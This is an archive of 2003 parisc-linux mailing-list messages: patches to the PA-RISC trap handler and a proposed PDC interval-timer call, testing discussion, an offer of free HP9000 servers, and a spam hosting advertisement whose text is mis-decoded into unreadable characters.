        if (!console_drivers)
                pdc_console_restart();

-       if (code == 1)
-           transfer_pim_to_trap_frame(regs);
+
+       /* Not all switch paths will gutter the processor... */
+       switch(code){
+
+       case 1:
+               transfer_pim_to_trap_frame(regs);
+               break;
+
+       default:
+               /* Fall through */
+               break;
+       }

        show_stack(NULL, (unsigned long *)regs->gr[30]);

@@ -446,34 +456,28 @@
         * system will shut down immediately right here. */
        pdc_soft_power_button(0);

+       /* Gutter the processor... */
        for(;;)
            ;
 }

+
 void handle_interruption(int code, struct pt_regs *regs)
 {
        unsigned long fault_address = 0;
        unsigned long fault_space = 0;
        struct siginfo si;

-       if (code == 1)
-           pdc_console_restart();  /* switch back to pdc if HPMC */
-       else
-           local_irq_enable();
-
-#if 0
-       printk(KERN_CRIT "Interruption # %d\n", code);
-#endif
-
        switch(code) {

        case  1:
                /* High-priority machine check (HPMC) */
-
+               pdc_console_restart();  /* switch back to pdc if HPMC */
+
                /* set up a new led state on systems shipped with a LED 
State panel */
                pdc_chassis_send_status(PDC_CHASSIS_DIRECT_HPMC);
-
-               parisc_terminate("High Priority Machine Check (HPMC)",
+
+               parisc_terminate("High Priority Machine Check (HPMC)",
                                regs, code, 0);
                /* NOT REACHED */
              
@@ -492,8 +496,9 @@
 
        case  5:
                /* Low-priority machine check */
+
                pdc_chassis_send_status(PDC_CHASSIS_DIRECT_LPMC);
-               
+
                flush_all_caches();
                cpu_lpmc(5, regs);
                return;
@@ -542,6 +547,7 @@
 
                die_if_kernel("Privileged register usage", regs, code);
                si.si_code = ILL_PRVREG;
+               /* Fall thru */
        give_sigill:
                si.si_signo = SIGILL;
                si.si_errno = 0;
@@ -556,6 +562,17 @@
                si.si_addr = (void *) regs->iaoq[0];
                force_sig_info(SIGFPE, &si, current);
                return;
+
+       case 13:
+               /* Conditional Trap
+                  The condition succees in an instruction which traps 
on condition  */
+               si.si_signo = SIGFPE;
+               /* Set to zero, and let the userspace app figure it out from
+                  the insn pointed to by si_addr */
+               si.si_code = 0;
+               si.si_addr = (void *) regs->iaoq[0];
+               force_sig_info(SIGFPE, &si, current);
+               return;

        case 14:
                /* Assist Exception Trap, i.e. floating point exception. */
@@ -563,13 +580,22 @@
                handle_fpe(regs);
                return;

+       case 15:
+               /* Data TLB miss fault/Data page fault */
+               /* Fall thru */
+       case 16:
+               /* Non-access instruction TLB miss fault */
+               /* The instruction TLB entry needed for the target 
address of the FIC
+                  is absent, and hardware can't find it, so we get to 
cleanup */
+               /* Fall thru */
        case 17:
                /* Non-access data TLB miss fault/Non-access data page 
fault */
                /* TODO: Still need to add slow path emulation code here */
-               pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
-
+               /* TODO: Understand what is meant by the TODO listed
+                  above this one. (Carlos) */
                fault_address = regs->ior;
-               parisc_terminate("Non access data tlb 
fault!",regs,code,fault_address);
+               fault_space = regs->isr;
+               break;
 
        case 18:
                /* PCXS only -- later cpu's split this into types 26,27 
& 28 */
@@ -579,9 +605,8 @@
                        return;
                }
                /* Fall Through */
-
-       case 15: /* Data TLB miss fault/Data page fault */
-       case 26: /* PCXL: Data memory access rights trap */
+       case 26:
+               /* PCXL: Data memory access rights trap */
                fault_address = regs->ior;
                fault_space   = regs->isr;
                break;
@@ -637,7 +662,6 @@
                        up_read(&current->mm->mmap_sem);
                }
                /* Fall Through */
-
        case 27:
                /* Data memory protection ID trap */
                die_if_kernel("Protection id trap", regs, code);
@@ -671,8 +695,9 @@
                        force_sig_info(SIGBUS, &si, current);
                        return;
                }
-               pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 
+               pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+
                parisc_terminate("Unexpected interruption", regs, code, 0);
                /* NOT REACHED */
        }
@@ -702,18 +727,19 @@
             * The kernel should never fault on its own address space.
             */

-           if (fault_space == 0)
-           {
+           if (fault_space == 0) {
                pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
                parisc_terminate("Kernel Fault", regs, code, fault_address);
-
+               /** NOT REACHED **/
            }
        }

+       local_irq_enable();
        do_page_fault(regs, code, fault_address);
 }


+
 int __init check_ivt(void *iva)
 {
        int i;

hmm I am not quiet sure about first hunck (static or not for printbinary?).

I test it successfully on my c110 but if you have some opportunity to 
double check and may be also ci, that would be nice.

Thanks in advance,
    Joel

PS: I do not yet test on my b2k :( so I don't know yet if it help the 
above pb?

PS2: Max may be have this opportunity on your c3k? (thanks)

--------------030403020700060302040201
Content-Type: text/plain;
 name="Traps-2.4-Align"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Traps-2.4-Align"

--- linux-2.6.0-test6-pa6.orig/arch/parisc/kernel/traps.c	2003-10-05 16:03:42.000000000 +0200
+++ linux-2.6.0-test6-pa6.test/arch/parisc/kernel/traps.c	2003-10-05 16:05:24.000000000 +0200
@@ -44,7 +44,7 @@
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
 			  /*  dumped to the console via printk)          */
 
-int printbinary(char *buf, unsigned long x, int nbits)
+static int printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
 	while (mask != 0) {
@@ -408,7 +408,7 @@
 
 
 /*
- * This routine handles page faults.  It determines the address,
+ * This routine handles various exception codes.  It determines the address,
  * and the problem, and then passes it off to one of the appropriate
  * routines.
  */
@@ -429,8 +429,18 @@
 	if (!console_drivers)
 		pdc_console_restart();
 
-	if (code == 1)
-	    transfer_pim_to_trap_frame(regs);
+
+	/* Not all switch paths will gutter the processor... */
+	switch(code){
+
+	case 1:
+		transfer_pim_to_trap_frame(regs);
+		break;
+	    
+	default:
+		/* Fall through */
+		break;
+	}
 
 	show_stack(NULL, (unsigned long *)regs->gr[30]);
 
@@ -446,34 +456,28 @@
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
+	/* Gutter the processor... */
 	for(;;)
 	    ;
 }
 
+
 void handle_interruption(int code, struct pt_regs *regs)
 {
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
 	struct siginfo si;
 
-	if (code == 1)
-	    pdc_console_restart();  /* switch back to pdc if HPMC */
-	else
-	    local_irq_enable();
-
-#if 0
-	printk(KERN_CRIT "Interruption # %d\n", code);
-#endif
-
 	switch(code) {
 
 	case  1:
 		/* High-priority machine check (HPMC) */
-		
+		pdc_console_restart();  /* switch back to pdc if HPMC */
+
 		/* set up a new led state on systems shipped with a LED State panel */
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_HPMC);
-		    
-	    	parisc_terminate("High Priority Machine Check (HPMC)",
+
+		parisc_terminate("High Priority Machine Check (HPMC)",
 				regs, code, 0);
 		/* NOT REACHED */
 		
@@ -492,8 +496,9 @@
 
 	case  5:
 		/* Low-priority machine check */
+
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_LPMC);
-		
+
 		flush_all_caches();
 		cpu_lpmc(5, regs);
 		return;
@@ -542,6 +547,7 @@
 
 		die_if_kernel("Privileged register usage", regs, code);
 		si.si_code = ILL_PRVREG;
+		/* Fall thru */
 	give_sigill:
 		si.si_signo = SIGILL;
 		si.si_errno = 0;
@@ -556,6 +562,17 @@
 		si.si_addr = (void *) regs->iaoq[0];
 		force_sig_info(SIGFPE, &si, current);
 		return;
+	
+	case 13:
+		/* Conditional Trap 
+		   The condition succees in an instruction which traps on condition  */
+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		   the insn pointed to by si_addr */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;
 
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
@@ -563,13 +580,22 @@
 		handle_fpe(regs);
 		return;
 
+	case 15: 
+		/* Data TLB miss fault/Data page fault */	
+		/* Fall thru */
+	case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		   is absent, and hardware can't find it, so we get to cleanup */
+		/* Fall thru */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
-		
+		/* TODO: Understand what is meant by the TODO listed 
+		   above this one. (Carlos) */
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
+		fault_space = regs->isr;
+		break;
 
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
@@ -579,9 +605,8 @@
 			return;
 		}
 		/* Fall Through */
-
-	case 15: /* Data TLB miss fault/Data page fault */
-	case 26: /* PCXL: Data memory access rights trap */
+	case 26: 
+		/* PCXL: Data memory access rights trap */
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;
@@ -637,7 +662,6 @@
 			up_read(&current->mm->mmap_sem);
 		}
 		/* Fall Through */
-
 	case 27: 
 		/* Data memory protection ID trap */
 		die_if_kernel("Protection id trap", regs, code);
@@ -671,8 +695,9 @@
 			force_sig_info(SIGBUS, &si, current);
 			return;
 		}
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		
+		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
+
 		parisc_terminate("Unexpected interruption", regs, code, 0);
 		/* NOT REACHED */
 	}
@@ -702,18 +727,19 @@
 	     * The kernel should never fault on its own address space.
 	     */
 
-	    if (fault_space == 0) 
-	    {
+	    if (fault_space == 0) {
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
 		parisc_terminate("Kernel Fault", regs, code, fault_address);
-	
+		/** NOT REACHED **/
 	    }
 	}
 
+	local_irq_enable();
 	do_page_fault(regs, code, fault_address);
 }
 
 
+
 int __init check_ivt(void *iva)
 {
 	int i;

--------------030403020700060302040201--



From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Sun, 05 Oct 2003 15:43:16 +0000
Lines: 118
Approved: news@gmane.org
Message-ID: <3F803C14.4030900@tiscali.be>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be> <20030919160035.GG18225@systemhalted> <3F6C9622.60402@tiscali.be> <20030921000447.GC31268@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622845 32017 80.91.229.3 (22 Nov 2014 02:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:45 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 09:43:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B011A4845; Sun,  5 Oct 2003 09:43:19 -0600 (MDT)
Original-Received: from [62.235.120.180] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A6B2T-0006y0-E2; Sun, 05 Oct 2003 17:43:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030930 Debian/1.4-5
X-Accept-Language: en
In-Reply-To: <20030921000447.GC31268@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19727

Grant Grundler wrote:

>On Sat, Sep 20, 2003 at 06:02:10PM +0000, Joel Soete wrote:
>  
>
>>a quick look into paxx.pdf which about CR16 speak of "peak instruction 
>>rate" but do not define anywhere?
>>I presume that is the cpu clock but would like somebody confirm.
>>    
>>
>
>Read about "Interval Timer" (cr16) in the PA 2.0 Arch book.
>PDC provides the exact rate that CR16 is changing.
>Looks like PDC_TOD_ITIMER is the call but I'm not sure offhand.
>In any case, I've only seen it used as CPU cycle counter.
>(ie 1:1 with CPU clock).
>
>hth,
>grant
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>  
>
Much more for remind, here is a proposed implementation of a pdc_tod_itimer:
diff -Naur linux-2.6.0-test6-pa6.orig/arch/parisc/kernel/firmware.c 
linux-2.6.0-test6-pa6.test/arch/parisc/kernel/firmware.c
--- linux-2.6.0-test6-pa6.orig/arch/parisc/kernel/firmware.c    
2003-10-05 17:14:13.000000000 +0200
+++ linux-2.6.0-test6-pa6.test/arch/parisc/kernel/firmware.c    
2003-10-05 17:09:14.000000000 +0200
@@ -682,6 +682,26 @@
 }
 EXPORT_SYMBOL(pdc_tod_set);

+/**
+ * pdc_tod_Calibrate_timers - Read "Calibrate timers" data
+ * @tod_calib: The return buffer:
+ *
+ * Calibrate the Interval Timer (CR16).
+ */
+int pdc_tod_itimer(struct pdc_tod_calib *tod_calib)
+{
+        int retval;
+
+        spin_lock_irq(&pdc_lock);
+        retval = mem_pdc_call(PDC_TOD, PDC_TOD_ITIMER, 
__pa(pdc_result), 0);
+        convert_to_wide(pdc_result);
+        memcpy(tod_calib, pdc_result, sizeof(tod_calib));
+        spin_unlock_irq(&pdc_lock);
+
+        return retval;
+}
+EXPORT_SYMBOL(pdc_tod_itimer);
+
 #ifdef __LP64__
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,
                struct pdc_memory_table *tbl, unsigned long entries)
diff -Naur linux-2.6.0-test6-pa6.orig/include/asm-parisc/pdc.h 
linux-2.6.0-test6-pa6.test/include/asm-parisc/pdc.h
--- linux-2.6.0-test6-pa6.orig/include/asm-parisc/pdc.h 2003-10-05 
17:15:09.000000000 +0200
+++ linux-2.6.0-test6-pa6.test/include/asm-parisc/pdc.h 2003-10-05 
17:11:26.000000000 +0200
@@ -670,6 +670,13 @@
        unsigned long tod_usec;
 };

+struct pdc_tod_calib {
+       unsigned long calib_0;
+       unsigned long calib_1;
+       unsigned long TOD_acc;
+       unsigned long CR_acc;
+};
+
 #ifdef __LP64__
 struct pdc_pat_cell_num {
        unsigned long cell_num;
@@ -943,6 +950,7 @@
 int pdc_get_initiator(struct hardware_path *hwpath, unsigned char 
*scsi_id, unsigned long *period, char *width, char *mode);
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
+int pdc_tod_itimer(struct pdc_tod_calib *tod_calib);

 #ifdef __LP64__
 int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr,

Well I don't know yet if it would help for a better sched_clock() because:
a) I already found some get_jiffies_64() which seems to be a good candidate?

b) I don't yet find how jiffies and jiffies_64 are continuously updated. 
I presume that we take advantage of an 'external interupt request' by 
CR16 (interval timer) but don't reach to find neither where this one is 
initialised (just to determine if get_jiffies_64 is enough (theoriticaly 
1/100s ?) or request more) nor where it is updated?

Thanks in advance for comments and idea,
    Joel

PS:
I added some test on my c110 and got some:
Oct  5 15:57:51 hpalin kernel: Calib_0 =  0x405e0000
Oct  5 15:57:51 hpalin kernel: Calib_1 =  0x00000000
Oct  5 15:57:51 hpalin kernel: TOD_acc =  0x00000000
Oct  5 15:57:51 hpalin kernel: CR_acc  =  0x00000000

merging Calib_1, Calib_0 in a union retrun me a frequency of 120Mhz 
(exactly) when "Oct  5 15:57:51 hpalin kernel: Calibrating delay loop... 
119.60 BogoMIPS" (but printk don't print float :( )

but it is curious that TOD_acc and CR_acc are 0 any idea?




From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on
 b2k finaly crash]
Date: Sun, 05 Oct 2003 17:07:21 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3F804FC9.9040401@tiscali.be>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net> <3F803388.5090304@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622845 32019 80.91.229.3 (22 Nov 2014 02:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:45 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	"M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 11:07:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D6704845
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Oct 2003 11:07:28 -0600 (MDT)
Original-Received: from [62.235.120.180] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A6CLq-00022c-8r; Sun, 05 Oct 2003 19:07:22 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030930 Debian/1.4-5
X-Accept-Language: en
In-Reply-To: <3F803388.5090304@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19728

Joel Soete wrote:

> I test it successfully on my c110 but if you have some opportunity to 
> double check and may be also ci, that would be nice.

hmm don't think if it's related but just in case:
I was just copying my kernel tree with 'tar cslpf - 
linux-2.6.0-test6-pa6 | ( cd Work ; tar xslpf -)' when

Kernel panic: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O M.
In interrupt handler - not syncing

?

I just retry same operation on the same system with same kernel but 
doesn't occurs a second time?

Thanks in advance,
    Joel




From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on
 b2k finaly crash]
Date: Sun, 5 Oct 2003 20:22:20 +0100 (IST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310052018520.24439@sal.ucc.ie>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net> <3F803388.5090304@tiscali.be>
 <3F804FC9.9040401@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622845 32025 80.91.229.3 (22 Nov 2014 02:20:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:45 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 13:22:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64E7C4845
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Oct 2003 13:22:40 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h95JMMRK019951;
	Sun, 5 Oct 2003 20:22:22 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F804FC9.9040401@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19729

On Sun, 5 Oct 2003, Joel Soete wrote:

> Joel Soete wrote:
>
> > I test it successfully on my c110 but if you have some opportunity to
> > double check and may be also ci, that would be nice.

I've compiled 2.6.0-test6-pa6 with your patches, but I can't reboot
the machine into 2.6 right now since it's being used by my housemates ;)

> hmm don't think if it's related but just in case:
> I was just copying my kernel tree with 'tar cslpf -
> linux-2.6.0-test6-pa6 | ( cd Work ; tar xslpf -)' when
>
> Kernel panic: drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O M.
> In interrupt handler - not syncing
>
> ?
>
> I just retry same operation on the same system with same kernel but
> doesn't occurs a second time?

When I have the opportunity I'll fire up 2.6 (with you patches) and test
it with high I/O load (if it even boots up).

I'll let you know whether I can boot with serial console enabled and
whether I also have the same kernel panic when doing heavy I/O.


greetings,
  Max




From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jan Prunk" <janprunk@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 4x HP9000 servers to give away
Date: Sun, 05 Oct 2003 22:18:32 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <BAY7-F41S748UjxhqBb0000c6b6@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416622846 32030 80.91.229.3 (22 Nov 2014 02:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:46 +0000 (UTC)
To: puffin@esiee.fr, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 16:18:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay7-f41.bay7.hotmail.com [64.4.11.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67C114845
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Oct 2003 16:18:33 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 5 Oct 2003 15:18:32 -0700
Original-Received: from 212.18.59.124 by by7fd.bay7.hotmail.msn.com with HTTP;
	Sun, 05 Oct 2003 22:18:32 GMT
X-Originating-IP: [212.18.59.124]
X-Originating-Email: [janprunk@hotmail.com]
X-OriginalArrivalTime: 05 Oct 2003 22:18:32.0820 (UTC) FILETIME=[9CC3CB40:01C38B8E]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19730

Hello !

I would like to offer 4 HP9000 servers to the developers of Parisc linux 
port.
Free of charge.
Here are the specifications:
HP9000 800/H40
HP9000 800/H40
HP9000 800/H30
HP9000 867S

Servers are fully functional with HP-UX on them. They come together with 
monitors and keyboards.
Becouse of the server dimensions 48x44x52cm the equipment is only available 
for self pick up.
Location : Slovenia

If you are interested, please contact me directly on my email.

_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: webmaster <webmaster@127.0.0.1>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ------|ϼ԰,ųҷ|------
Date: Sun,  5 Oct 2003 21:27:24 -0600 (MDT)
Lines: 91
Approved: news@gmane.org
Message-ID: <20031006032724.435614845@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622846 32033 80.91.229.3 (22 Nov 2014 02:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 21:27:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tonylee9-5zaxon.xmgwbn.com (unknown [220.113.166.175])
	by dsl2.external.hp.com (Postfix) with SMTP id 435614845
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Oct 2003 21:27:24 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19731

װ:
     !
     һԲĲƷ.ʼ,ɾ.
ڽԼĸվ,Ž,ǽΪ.
     
     ˾رԸƳһ۸Żݵ"ҳռ":
     100MHTMLռ+һ,80Ԫ/;
     60Ԫעһ; 80ԪΪ̬ռ.
     :www.host-china.com/profile.html
Ȿ˾,ӭ!

    ǳŵ:ⰴʵ˿.
    벻Ҫֱӻظ,ظ뷢:li_9888@hotmail.com

   ףģ˳
webmaster of http://www.host-china.com 
                                        бƼ޹˾
                                        http://www.host-china.com
                                        绰0592-5915491ߣ
                                        棺0592-5652687
                                        ϵˣ С

































































---------------------------------------------------------------
еȺʼ,ר(http://www.21cmm.com)

